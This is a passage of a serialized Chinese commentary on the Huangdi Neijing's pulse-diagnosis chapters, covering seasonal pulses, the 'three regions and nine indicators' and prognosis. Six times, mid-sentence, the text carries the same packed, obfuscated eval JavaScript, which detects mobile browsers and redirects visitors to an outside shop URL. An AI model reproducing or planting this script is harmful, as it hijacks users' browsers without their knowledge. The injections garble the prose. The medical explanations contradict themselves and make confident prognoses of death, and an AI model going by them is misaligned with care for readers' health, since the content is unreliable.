在中医的诊疗体系中，确实会考虑病人的形体、气机、面色以及脉象等多方面的因素来评估疾病的可治性与治疗难度。当病人的形体和气机相称，通常意味着病人的身体状况较为协调，正气充足，有足够的抵抗力与疾病抗争，这样的病症被认为是可治之症。 面色光润鲜明，同样反映了病人的气血充盈，脏腑功能正常，这对于疾病的恢复和治疗都是非常有利的。当脉象与四时相适应时，说明病人的脉象符合自然界的阴阳消长规律，疾病的发展趋势可以被控制，这也预示着疾病有治愈的可能。 至于脉相弱而流利的情况，这确实是有胃气的表现。在中医理论中，胃气被视为生命活动的根本，有胃气则生，无胃气则死。即使脉象较弱，但如果流利，说明胃气尚存，病人的生命力依然旺盛，疾病的治疗也就相对容易。然而，必须强调的是，虽然这些情况都预示着疾病有治愈的可能，但并不意味着可以掉以轻心。 在中医的诊疗体系中，病人的形体与气机的和谐统一，以及面色、脉象等体征的正常与否，都是判断疾病可治性与治疗难度的关键指标。 当形体与气机不相称时，往往意味着病人的身体状况失衡，正气与病邪之间力量对比悬殊，这会导致疾病难以治愈。同样，面色枯燥、没有光泽，也是气血亏损、脏腑功能低下的表现，这种情况下，疾病的治疗难度也会大大增加。 脉象作为中医诊断的重要手段之一，能够直观地反映病人身体内部气血运行的状况。当脉象与四时相逆时，即脉象的变化与自然界阴阳消长的规律相违背，这通常预示着疾病的发展趋势与自然界的规律相冲突，疾病将难以治愈。 对于这四种不易治愈的疾病，医生在诊疗过程中一定要仔细观察，细致分析，明确告诉病人疾病的真实情况。 “脉与四时相遇”是一个重要的诊断原则，它涉及到脉象与自然界四时阴阳消长变化之间的相应关系。具体来说，“脉与四时相遇”是指脉象的变化没有遵循自然界春生、夏长、秋收、冬藏的规律，而是出现了逆四时的现象。 以春季见到肺脉和秋季见到心脉为例，春季是阳气生发的季节，脉象应该是柔和而有力的，代表着生机勃勃的生命力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428677|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而，如果在春季出现了肺脉（即脉象表现出肺脏的特征，如浮而短），这就违背了春季阳气生发的规律，称为逆春气。同样地，秋季是阳气渐收、阴气渐长的季节，脉象应该是沉实而有力的，代表着收藏和积蓄的力量。但如果在秋季出现了心脉（即脉象表现出心脏的特征，如洪而散），这就违背了秋季阳气收藏的规律，称为逆秋气。 “脉来时，弦绝无根或是沉涩不起”也是逆四时的表现。弦脉通常主肝病，如果弦脉过于强劲而失去根基（即脉象虽然弦硬但缺乏应有的柔和感），或者在沉涩的脉象中无法感受到应有的起伏变化，这都表明脉象与四时的规律相悖。 五脏与四时（春夏秋冬）的对应关系是一个非常重要的理论。五脏（心、肝、脾、肺、肾）分别对应五行（火、木、土、金、水），而这五行又与四时（春夏长夏秋冬）相互关联。当五脏的脉气能够随着时令的变化而正常表现在外部时，我们称之为“顺四时”。反之，如果五脏的脉气不能随着时令表现在外部，就可能出现“逆四时”的情况。 具体来说，如果在春夏的时令反见沉涩的脉象，或者在秋冬的时令反见浮大的脉象，这就可能表示五脏的功能出现了异常，与四时之气不相协调。例如，在春夏季节，阳气升发，万物生长，人体的阳气也应该随之升发，脉象应该表现为浮大有力。但如果此时脉象反而沉涩，就可能表示阳气不足，或者气血运行不畅。同样，在秋冬季节，阴气收藏，万物凋零，人体的阴气也应该随之收藏，脉象应该表现为沉实有力。但如果此时脉象反而浮大，就可能表示阴气不足，或者阳气外泄。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第15章 三部九候论 亲爱的朋友们，素问呢？已经写了有一半了，不知道大家的感想和意见是什么样？或者是否有需要改进的地方，希望大家多提意见。 在中医理论中，“三部”实际上指的是寸口脉的寸、关、尺三个部分，这三个部位分别对应着人体的上、中、下三个区域，与心肺、脾胃、肝肾等脏腑功能密切相关。 而“九候”则是对“三部”的进一步细分，每一部又分为“天、地、人”三候。具体来说，寸部为天，关部为地，尺部为人。这种划分方式使得脉诊更加精确，医生能够通过观察不同部位的脉象变化，来更深入地了解人体脏腑经络的生理病理状态。 在中医脉诊中，“天候”主要关注的是人体上部的情况，如头面、心肺等；“地候”则主要反映人体中部的情况，如脾胃、肝胆等；“人候”则侧重于人体下部的情况，如肾、膀胱、大肠等。通过对九候脉象的细致观察和综合分析，医生能够全面了解患者的身体状况，为疾病的诊断和治疗提供有力的依据。 对于“头手足上中下三个诊脉的部位”这样的说法，虽然听起来颇具创意，但目前在中医脉诊中并未有这样的实践。这样的想象或许能够激发我们对中医脉诊的更多思考，但在实际学习和应用中，我们仍应以传统的寸口脉诊理论和方法为主。 中医脉诊的“九候”理论不仅仅是一种诊断方法，更是一种对人体生命活动的深刻理解和感悟。它蕴含着丰富的中医哲学思想，如“天阳之气”、“地阴之气”等，都体现了中医对人体内外环境的关注和协调。 在实际应用中，中医脉诊需要结合患者的具体情况和临床经验来灵活运用。虽然它神奇而深奥，但并非万能，只是一种辅助诊断手段，不能替代其他医学检查方法。因此，在诊断和治疗疾病时，我们需要综合考虑各种因素，为患者提供全面、准确的医疗服务。 中医脉诊是一门博大精深的学问，它通过对人体脉象的细致观察和综合分析，为我们提供了了解人体健康状况的重要途径。无论是传统的寸口脉诊还是“九候”理论，都体现了中医对人体健康的深入理解和全面关注。在未来的学习和实践中，我们需要不断探索和创新，为中医脉诊的发展贡献自己的力量。 那我们接着说一下文章的内容 我们来理解一下“天地至数”。在中医理论中，天地至数通常指的是自然界的运行规律和变化法则，包括阴阳五行的相生相克、四季的轮回更替等。这些规律不仅影响着自然界的万物生长，也深刻影响着人体的生理和病理状态。 而“人体三部九候”则是中医脉诊中的重要理论。它通过对人体寸口脉的寸、关、尺三个部位进行细分，每个部位再分为天、地、人三候，从而形成了九候的脉象体系。这种脉象体系能够全面反映人体脏腑经络的生理病理状态，为疾病的诊断和治疗提供有力的依据。 那么，天地至数和人体三部九候之间有何关系呢？在中医看来，人体是一个与自然界紧密相连的整体，人体的生理和病理状态受到自然界运行规律的影响。因此，中医在诊断和治疗疾病时，总是强调要“顺应自然”、“天人合一”。 具体来说，人体三部九候的脉象变化与天地至数的运行规律密切相关。例如，在春季，自然界阳气生发，万物复苏，此时人体的脉象也应呈现出相应的变化。如果脉象出现异常，则可能提示人体内部出现了阴阳失衡、脏腑功能失调等问题。同样地，在秋季，自然界阴气渐长，阳气渐消，此时人体的脉象也应随之变化。如果脉象未能及时适应这种变化，则可能导致疾病的发生。 当我们谈及中医脉诊中的“三部九候”时，实际上是在探讨一种深入细致的诊断方法，这种方法不仅能帮助我们了解疾病的当前状态，还能预测其发展趋势，并据此制定相应的治疗方案。以下，我将从诊查方法、预后判断及治疗方法三个方面，对“三部九候”在中医脉诊中的应用进行详细介绍。 一、诊查方法 “三部九候”的诊查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428678|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方法，简而言之，就是通过触摸人体特定部位的脉象，来感知气血运行的盛衰、脏腑功能的强弱，进而推断出疾病的性质和部位。具体而言： 1. “三部”指的是人体的上、中、下三个部位，即头颈部、手太阴肺经、足少阴肾经。 2. “九候”则是在“三部”的基础上，每部再细分为天、地、人三候。例如，上部天候诊额旁动脉，地候诊颊车动脉，人候诊耳前动脉；中部天候诊手太阴经以候肺，地候诊手阳明经以候胸中之气，人候诊手少阴经以候心；下部天候诊足厥阴经以候肝，地候诊足太阴经以候脾，人候诊足少阴经以候肾。 在诊查时，医生需要依次触摸这些特定部位的脉象，并仔细观察其变化。通过对比不同部位的脉象差异，医生可以初步判断疾病的性质和部位。 二、预后判断 通过“三部九候”的诊查，医生不仅可以了解疾病的当前状态，还可以根据脉象的变化趋势来预测疾病的发展情况。例如，如果脉象由弱转强，可能表示病情正在好转；反之，如果脉象由强转弱，可能表示病情正在恶化。此外，通过观察脉象 的波动情况，医生还可以判断疾病的虚实、寒热等性质，为预后判断提供重要依据。 三、治疗方法 基于“三部九候”的诊查结果和预后判断，医生可以制定相应的治疗方案。在中医理论中，治疗原则通常包括“补虚泻实”、“调和阴阳”等。具体而言，医生可能会采用针灸、推拿、药物等方法来调理气血、补益脏腑功能、祛除邪气等。此外，中医还强调“治未病”的思想，即在疾病尚未发作之前进行干预和调理，以预防疾病的发生和发展。 总之，“三部九候”是中医脉诊中的一种重要方法，它通过对人体特定部位的脉象进行观察和分析，为疾病的诊断、预后判断和治疗提供了有力的支持。在实际应用中，医生需要结合患者的具体情况和临床经验来灵活运用这一方法，以取得最佳的治疗效果。 第15章 （1）揭秘人体三部九候：深度解析其内在关系 黄帝对九候之道的领悟，无疑展现了他对中医博大精深的体系之深刻理解和崇高敬意。九候，作为中医望闻问切四诊中的切诊（脉诊）之精髓，涉及到了人体脉象的细微变化和疾病发展的不同阶段，是中医诊疗中不可或缺的一部分。 九候的博大精深在于其能够通过脉象来洞察人体的阴阳气血状况，从而预测疾病的发展趋势。这种通过脉象来诊断疾病的方法，不仅体现了中医的独特魅力，也展示了其深厚的文化底蕴和哲学思想。 其次，黄帝希望将九候之道传于后世，深刻领会并铭记于心，这是非常明智的决定。中医作为中华民族的瑰宝，需要一代又一代人的传承和发扬。而九候作为中医脉诊的核心内容，更应该被后人所熟知和掌握。 黄帝希望九候之道能与天道有始有终、与日月星辰周历天度的运转相应、与四时五行阴阳盛衰的变化相合。这体现了天人合一、顺应自然的理念。人体是一个小宇宙，与天地万物息息相关。 黄帝问岐伯希望了解天地间最精微的道理，并使它合于人体的形体疏通气血，用它决断生死，怎样才能达到这个目的呢？ 岐伯说：关于“天地的至数是从一开始到九终，一为阳代表天，二为阴代表地，人生天地之间，所以三代表人。 在古代中国哲学中，数字往往被赋予了特殊的含义和象征。其中，“一”常被视为最原始、最纯粹的阳数，代表着天、阳刚之气和宇宙的原始状态；“二”则象征着地、阴柔之质和万物的生长。而“三”作为“一”和“二”的结合，既包含了天的阳刚，又蕴含了地的阴柔，因此被用来代表人，体现了人在宇宙间的独特地位和作用。 这种理解，不仅体现了古代中国人对宇宙、自然和人的整体性思考，也展现了他们追求和谐、平衡和统一的思想。在这种思想指导下，人们认为人与自然是相互依存、相互影响的，人应该顺应自然规律，与自然和谐相处，以实现自我完善和发展。 “天地人合而为三，将天地人分别再分为三份，三三为九与九野之数相应。 首先我们来看“天地人和而为三”这一观点。在中国传统文化中，天、地、人被视为构成宇宙的基本要素，它们之间的和谐统一是宇宙运行的基础。这里的“三”并非简单的数字，而是象征着一种完整的、不可分割的整体。 接下来，将天、地、人分别再分为三份，实际上是对这个整体进行更细致的划分。这种划分方式，体现了古人对宇宙万物分类和归纳的思维方式。通过对天、地、人的进一步细分，我们可以更深入地理解它们各自的特性和相互之间的关系。 至于“三三为九与九野之数相应”，这里的“九”和“九野”都是古代中国哲学中的重要概念。在中国传统文化中，“九”被视为最大的阳数，代表着极致和圆满。而“九野”则是指天空中的九个区域，它们与地上的九州相对应，共同构成了宇宙的基本结构。将“三三为九”与“九野”联系起来，实际上是在强调天、地、人之间的紧密联系和相互作用。 “人有三部脉，每部各有三候”，其实是对人体脉象更为细致的划分和描述。 所谓的“三部脉”，通常指的是寸、关、尺三部。这三部脉分别对应着人体的上、中、下三焦，也即是人体的上、中、下三个部位。通过对这三部脉的诊察，可以初步了解人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428679|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体的整体状况，以及上、中、下三焦的阴阳气血状况。 而“每部各有三候”，则是指寸、关、尺三部脉，每部都可以细分为浮、中、沉三候。通过分别诊察这三候的脉象，可以进一步了解病情的深浅、虚实、寒热等状况。 脉象的变化可以反映出人体内部脏腑功能的盛衰、气血的盈亏、阴阳的失衡等状况。因此，通过对脉象的细致观察和分析，可以判断病情的轻重、预测疾病的发展趋势、指导治疗方案的制定等。 接下来，我们对三部九侯。进行详细的描述。黄帝问，什么叫做三部呢？ 岐伯说”，三部”通常指的是人体的上、中、下三个部位，即头面、胸腹、下肢。每部各有“三候”，这里的“候”可以理解为观察或判断脉象的某个特定的方面和角度。 上部天：即两个额阳穴处动脉，这里指的是额头两侧的动脉搏动情况。在中医理论中，额头与“天”相应，代表着人体的阳气或精神活动。通过观察此处的动脉搏动，可以初步判断人体的阳气状况。 上部地：即两颊大迎穴处动脉，这里指的是面颊部位靠近下颌角的动脉搏动。在中医理论中，“地”代表着人体的物质基础或阴液。通过观察面颊部位的动脉搏动，可以了解人体的阴液状况，进而判断人体的营养和水分是否充足。 上部人：即耳前耳门穴处动脉，这里指的是耳朵前方靠近颞部的动脉搏动。在中医理论中，“人”代表着人体的气血运行和脏腑功能。通过观察耳前动脉的搏动情况，可以了解人体气血运行是否顺畅以及脏腑功能是否正常。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第15章 （2）掌握中医脉诊：让你成为自己的健康顾问 黄帝问疾病的诊查方法是怎样的？ 岐伯说：观察测量病人的身形肥瘦以及了解正气的虚实，基于个体差异和身体状况的治疗原则，中医进行“辨证论治”。 在中医理论中，实症和虚症是两种截然不同的病理状态。实证通常表现为邪气过盛，而正气未衰，症状多表现为热、实、燥、动等，如高热、便秘、口渴等。对于这种病理状态，治疗时应采用泄法，以排除体内的邪气，恢复正气的平衡。 相反，虚证则表现为正气不足，邪气相对较弱，症状多表现为寒、虚、湿、静等，如畏寒、无力、气短等。对于这种病理状态，治疗时应采用补法，以补充体内的正气，提高机体的抵抗力。 在中医治疗中，医生需要仔细观察病人的身形肥瘦、面色、舌苔等体征，以及询问病史、症状等信息，全面了解病人的身体状况和病理状态。然后，根据病人的具体情况，采用相应的治疗方法和药物，以达到治疗疾病、恢复健康的目的。 血脉中的凝滞可能是由于气血不畅、寒湿侵袭或其他病理因素所致。这种凝滞不仅会导致气血流通受阻，还可能进一步引发各种疾病。因此，治疗的首要任务便是去除血脉中的凝滞，恢复气血的正常流通。 一旦血脉中的凝滞被去除，接下来就需要调补气血的虚实。中医认为，气血是维持人体生命活动的基本物质，气血的充足与否直接关系到人体的健康状态。如果气血虚弱，就会导致各种生理功能减退，引发各种疾病；而气血过盛，同样会导致机体功能失衡，出现病态表现。 在治疗过程中，医生需要根据患者的具体情况，采用相应的药物和方法来调补气血的虚实。对于气血虚弱的患者，需要采用补益气血的方法，如服用补养药物、调整饮食等；而对于气血过盛的患者，则需要采用泄邪的方法，如清热泻火、利湿化浊等。 黄帝问怎样决断死生？ 岐伯说“形体充实脉象细弱气短，呼吸困难主微；身体瘦弱，脉搏宏大，胸中喘满而多气多主死”的论断，这实际上涉及了中医对于人体气血、脏腑功能以及脉象之间关系的深入理解。 我们来看“形体充实脉象细弱气短，呼吸困难主微”。这描述的是一个人虽然形体看似健康，但脉象却显得细弱，气短且呼吸困难。这往往意味着人体内的气血虽然充足，但由于某些原因（如脏腑功能失调、经络阻塞等）导致气血流通不畅，不能充分滋养全身，尤其是肺部。因此，尽管形体充实，但人却感到气短和呼吸困难，这种情况在中医上被称为主微，即病情尚属轻微，但需要及时调理。 接着，我们来看“身体瘦弱，脉搏宏大，胸中喘满而多气多主死”。这描述的是一个人身体瘦弱，但脉搏却显得宏大，同时胸中喘满，气息急促。这往往意味着人体内的气血已经极度虚弱，脏腑功能严重失调，尤其是心脏和肺部。此时，脉搏的宏大并不是气血充足的表现，而是气血在垂死挣扎，试图通过加大力度来推动血液循环，但已经无济于事。胸中喘满和气息急促则是肺部功能衰竭的表现，预示着生命即将走到尽头。 岐伯的这一论断实际上是对人体气血、脏腑功能以及脉象之间关系的深入洞察和总结。它告诉我们，在观察一个人的健康状况时，不能仅仅看其形体是否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428680|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充实或瘦弱，更要关注其脉象、呼吸等细微之处，因为这些往往能反映出人体内部的真实状况。同时，这也提醒我们，在面对身体不适时，要及时就医并遵循医生的建议进行调理和治疗，以免错过最佳的治疗时机。 我们来谈谈“形体与脉气一致主生”。这意味着当一个人的身体状态与脉象表现相符时，通常是健康的象征。例如，一个体格健壮的人，其脉象也应该是稳健有力的；而一个身体瘦弱的人，其脉象则可能较为细弱。当这两者保持一致时，说明人体的气血运行顺畅，脏腑功能正常，是健康的体现。 当脉象出现“时快时慢错杂不调”的情况时，则可能预示着疾病的到来。这种脉象表明人体的气血运行出现了紊乱，脏腑功能可能出现了失调。这种情况下，医生需要进一步观察和分析，以确定具体的病因和病情。 “如果三部九侯之脉都失去了正常的脉象，人就会死亡”，这是中医脉诊理论中的一个重要观点。在中医中，三部九侯是指人体的上、中、下三部，每部各有三候，共九候。这些候位分别对应着人体的不同脏腑和经络。当这些候位的脉象都出现异常时，说明人体的脏腑功能已经严重失调，气血运行已经出现了严重的障碍。这种情况下，人体的生命活动将难以维持，因此有可能导致死亡。 我们常说的“上下左右”脉象，其实是指人体不同部位和经络的脉象表现。正常情况下，这些脉象应该是和谐一致、有规律的。但如果出现参差不齐的情况，说明人体内部的气血运行出现了紊乱，脏腑功能可能出现了严重失调。 这章没有结束，请点击下一页继续阅读！ 第15章 （3）脉象解码：轻松识别身体发出的疾病信号 黄帝问，怎样才知道疾病所在的部位那？ 岐伯说通过细致入微地诊察这些脉象的变化，如独小、独大、独急、独迟、独热、独寒、独陷下等，中医医师能够初步推断出病变的部位和性质。这些脉象变化背后，其实蕴含着丰富的中医理论。 我们来谈谈“脉象独大”。这种脉象表现为某一部或某几部的脉象搏动特别明显，相对于其他部位的脉象显得尤为突出。在中医理论中，这通常与气血的壅盛状态相关。当人体内部的气血过于充盛，或是局部气血瘀滞，都可能表现为脉象独大。比如，气滞血瘀的病理状态下，患者可能表现为面色红赤、舌苔黄腻，情绪也可能急躁易怒，此时脉象就可能出现独大的特征。针对这种脉象，中医通常会采用疏肝理气、活血化瘀的治疗方法。 “脉象独小”。与脉象独大相反，脉象独小表现为某一部或某几部的脉象搏动特别微弱，甚至难以察觉。这种脉象通常与气血的不足状态有关。当人体内部的气血虚弱，无法充盈血脉时，脉象就可能表现为独小。比如，在气血两虚的病理状态下，患者可能表现为面色无华、舌苔淡白，脉象也可能沉细无力，此时就可能出现脉象独小的特征。针对这种脉象，中医通常会采用补气养血的治疗方法。 脉象“独疾”通常指的是某一部或某几部的脉象搏动特别快速，与其他部位的脉象相比显得尤为突出。这种脉象可能表示患者体内有热邪壅盛，或者是阴虚火旺的病理状态。热邪壅盛会使得血脉流动加快，从而导致脉象疾速；而阴虚火旺则是因为阴液不足，无法制约阳气的亢盛，也会使得脉象表现出疾速的特点。在临床上，脉象“独疾”的患者可能会出现发热、口渴、烦躁等症状。 另一方面，脉象“独迟”则指的是某一部或某几部的脉象搏动特别缓慢，与其他部位的脉象相比显得迟缓无力。这种脉象可能表示患者体内有寒邪凝滞，或者是阳气不足的病理状态。寒邪凝滞会使得血脉流动不畅，从而导致脉象迟缓；而阳气不足则是因为机体功能减退，气血运行无力，也会使得脉象表现出迟缓的特点。在临床上，脉象“独迟”的患者可能会出现畏寒、四肢不温、精神萎靡等症状。 需要注意的是，脉象的“独疾”和“独迟”并不是孤立存在的，它们往往与其他脉象和症状相互关联。因此，在中医脉诊中，我们需要综合考虑患者的整体情况，包括脉象、舌象、面色、症状等多个方面，才能做出准确的诊断。 脉象的“独疾”和“独迟”也可以作为治疗疾病的参考依据。针对脉象“独疾”的患者，我们可以采用清热泻火、滋阴降火等方法进行治疗；而针对脉象“独迟”的患者，则可以采用温阳散寒、补益阳气等方法进行治疗。通过调整患者的体质和病理状态，达到治疗疾病的目的。 “脉象独热”。这种脉象表现为某一部或某几部的脉象搏动时感觉特别热，与其他部位的脉象相比温度明显升高。在中医理论中，这通常与体内热邪壅盛或阴虚火旺的病理状态相关。患者可能伴有发热、口渴、面红等症状。针对这种脉象，中医通常会采用清热泻火、滋阴降火等方法进行治疗。 “脉象独寒”。这种脉象则表现为某一部或某几部的脉象搏动时感觉特别冷，与其他部位的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428681|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脉象相比温度明显降低。这通常与体内寒邪凝滞或阳气不足的病理状态有关。患者可能伴有畏寒、四肢不温、面色苍白等症状。针对这种脉象，中医通常会采用温阳散寒、补益阳气等方法进行治疗。 “脉象独下陷”。这种脉象表现为某一部或某几部的脉象搏动时感觉特别低沉，仿佛有下沉的趋势，与其他部位的脉象相比显得无力。在中医理论中，这通常与气虚或血脱的病理状态相关。患者可能伴有疲乏无力、头晕心悸、面色苍白等症状。针对这种脉象，中医通常会采用补气养血、升阳举陷等方法进行治疗。 需要注意的是，脉象的独小、独大、独疾、独迟、“独热”、“独寒”和“独下陷”并不是孤立存在的，它们往往与其他脉象和症状相互关联。因此，在中医脉诊中，我们需要综合考虑患者的整体情况，包括脉象、舌象、面色、症状等多个方面，才能做出准确的诊断。同时，中医治疗也需要根据患者的具体病情进行个体化治疗，以达到最佳的治疗效果。 岐伯接着说：医生将左手放在病人的左脚上，距离内踝五寸的地方按着，这个位置大致对应的是足阳明胃经的趺阳脉。然后，医生用右手指在病人足内踝上轻弹，这会产生一个轻微的振动波，这个波会沿着经络传播到医生左手所按的位置。 接下来，医生会根据左手感受到的振动情况来判断病人的身体状况。如果振动范围超过五寸，且感觉软滑而匀和，这通常被认为是正常的脉象，说明病人的气血流通顺畅，脏腑功能正常。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第15章 （4）冬夏之变，九侯脉象如何解读 黄帝问冬为阴夏为阳是什么意思？ 岐伯说，脉象如果沉细悬绝，这通常被认为是阴脉，与冬季的阴冷相对应。当人体内部的气血运行不畅，表现出阴脉的特征时，可能意味着病情较重，生命力较弱。因此，按照这一理论，如果病人在夜间，特别是阴气极盛的半夜时分，气血运行进一步受阻，可能会导致病情恶化，甚至危及生命。 相反，脉象如果盛大躁动而喘烁，这通常被认为是阳脉，与夏季的炎热相对应。阳脉可能表示病人体内的气血运行过于旺盛，有时也可能是病情恶化的另一种表现。当病人在中午时分，阳气最为旺盛时，体内的气血运行可能进一步加速，导致病情恶化，甚至危及生命。 人体内的阴阳平衡对于健康至关重要。当阴阳失衡，如寒热交替，可能会导致病情复杂且严重。平旦时分是阴阳交汇的时刻，也是人体阳气开始升发的时刻。对于寒热交替的病人来说，如果此时阴阳失衡加剧，可能会影响到生命活动，导致病情恶化，甚至危及生命。 热中急热的病人在日中阳极时分也可能面临危险。日中阳极时分，阳气达到顶峰，对于体内已经有热邪的病人来说，此时阳气进一步旺盛，可能会加剧热邪的侵袭，导致病情迅速恶化，甚至引发“阳脱”等危重情况。 伤于风，而患风病的死于傍晚，阳气衰退的时候”。在中医理论中，风邪入侵人体，容易导致气血不畅，从而引发风病。而傍晚时分，阳气逐渐衰退，阴气逐渐上升，此时人体内的阳气也相对较弱。如果风病患者在这个时间段内阳气进一步衰退，就可能导致病情加重，甚至危及生命。 “伤于水，而患水病的死于夜半阴气正盛的时候”。水邪入侵人体，容易引起水肿、腹泻等水病。而夜半时分，阴气最为旺盛，阳气相对较弱。对于水病患者来说，此时如果体内的水邪进一步加重，就可能影响到阳气的生发，导致病情恶化，甚至危及生命。 当脉象出现这种忽快忽慢、忽缓忽急的变化时，往往被看作是体内气血运行紊乱，脏腑功能失调的一种表现。具体到“脾气内绝”这一说法，这通常意味着脾的功能严重受损，可能已经无法维持正常的生命活动。 在中医理论中，脾被认为是“后天之本”，主运化、统血，与人体的气血生成、运行和代谢密切相关。当脾的功能受损时，不仅会影响到气血的生成和运行，还可能导致其他脏腑功能的失调，从而引发一系列疾病。 中医认为，人体的气血运行在一天中会随着时辰的变化而有所变化，每个时辰都有对应的主脏器和气血运行特点。当人体出现疾病时，气血运行也会受到影响，可能会在某些时辰表现出特别明显的症状或恶化。 如果形体败坏，肌肉溃烂，这通常是病情较为严重的表现。在这种情况下，即使九侯（指寸口、人迎、趺阳三处动脉的脉象）协调，也可能因为病情过于严重而难以挽回。这是因为形体的败坏和肌肉的溃烂可能意味着身体内部的脏腑功能已经严重受损，无法维持正常的生命活动。 如果七诊（通常指望、闻、问、切四诊加上其他三种诊断方法）的脉象出现，而九侯都与四时相顺应，这就不一定是死证。在中医理论中，脉象与四时（春、夏、秋、冬）的顺应关系被认为是判断病情轻重和预后好坏的一个重要指标。如果脉象能够顺应四时的变化，说明身体内部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428682|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的阴阳气血还能够与外界环境相协调，具有一定的自我调节能力。这种情况下，即使病情较重，也有可能通过适当的治疗和调养而得到改善。 当七诊的结果显示病情严重，脉象出现败坏的现象时，这确实可能是病情恶化的征兆。然而，这并不意味着病人一定会死亡。病情的预后取决于多种因素，如疾病的性质、病情的严重程度、病人的整体健康状况、治疗的效果等。 在中医理论中，关于病情的预后判断是一个复杂而精细的过程。除了七诊和脉象外，还需要考虑病人的整体状况、病因病机、证候类型等多个方面的因素。因此，在面对病情时，我们应该保持客观、科学的态度，结合现代医学的知识和技术，进行全面的评估和治疗。 在中医的诊疗体系中，对病人的发病情形和当前症状的询问，以及切脉（把脉）观察经络浮沉，都是非常重要的诊断步骤。这些步骤旨在全面了解病人的病情，以便进行针对性的治疗。 首先，询问病人的发病情形和当前症状，有助于医生了解疾病的起因、演变过程以及病人的整体状况。这些信息对于判断疾病的性质、严重程度以及愈后都具有重要意义。 其次，切脉是中医特有的诊断方法，通过观察脉象的浮沉、上下逆顺等特征，可以了解病人气血运行的情况，从而推断出疾病的部位、性质以及病情的轻重。在切脉时，如果脉象流畅，说明气血运行顺畅，可能表示病人没有严重的疾病或者疾病正在好转。如果脉象迟缓或者出现其他异常表现，则可能提示病人存在疾病或者病情正在恶化。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第16章 经脉别论 经脉别论，这确实是中医理论宝库中的一颗璀璨明珠。从《黄帝内经》中我们可以窥见，经脉别论详细阐述了人体经脉系统中那些独特且复杂的分支现象。这些经脉不仅是气血流通的通道，更是连接人体各个部分的桥梁，对于维持人体生命活动的正常进行至关重要。 经脉别论让我们了解到经脉的复杂性和多样性。在人体内，经脉并非简单的直线通道，而是如同错综复杂的网络，交织在一起，通过气血的流动，将身体各部分紧密地连接在一起。这种复杂的网络结构，正是中医理论中的一大特色。 其次，经脉别论还深入探讨了不同经脉的功能和特点。比如，有些经脉负责输送营养物质和氧气，而有些则负责排泄废物和毒素。这种分工合作，使得人体内的气血能够得到合理的分配和利用，从而保证了人体各项生理功能的正常运行。 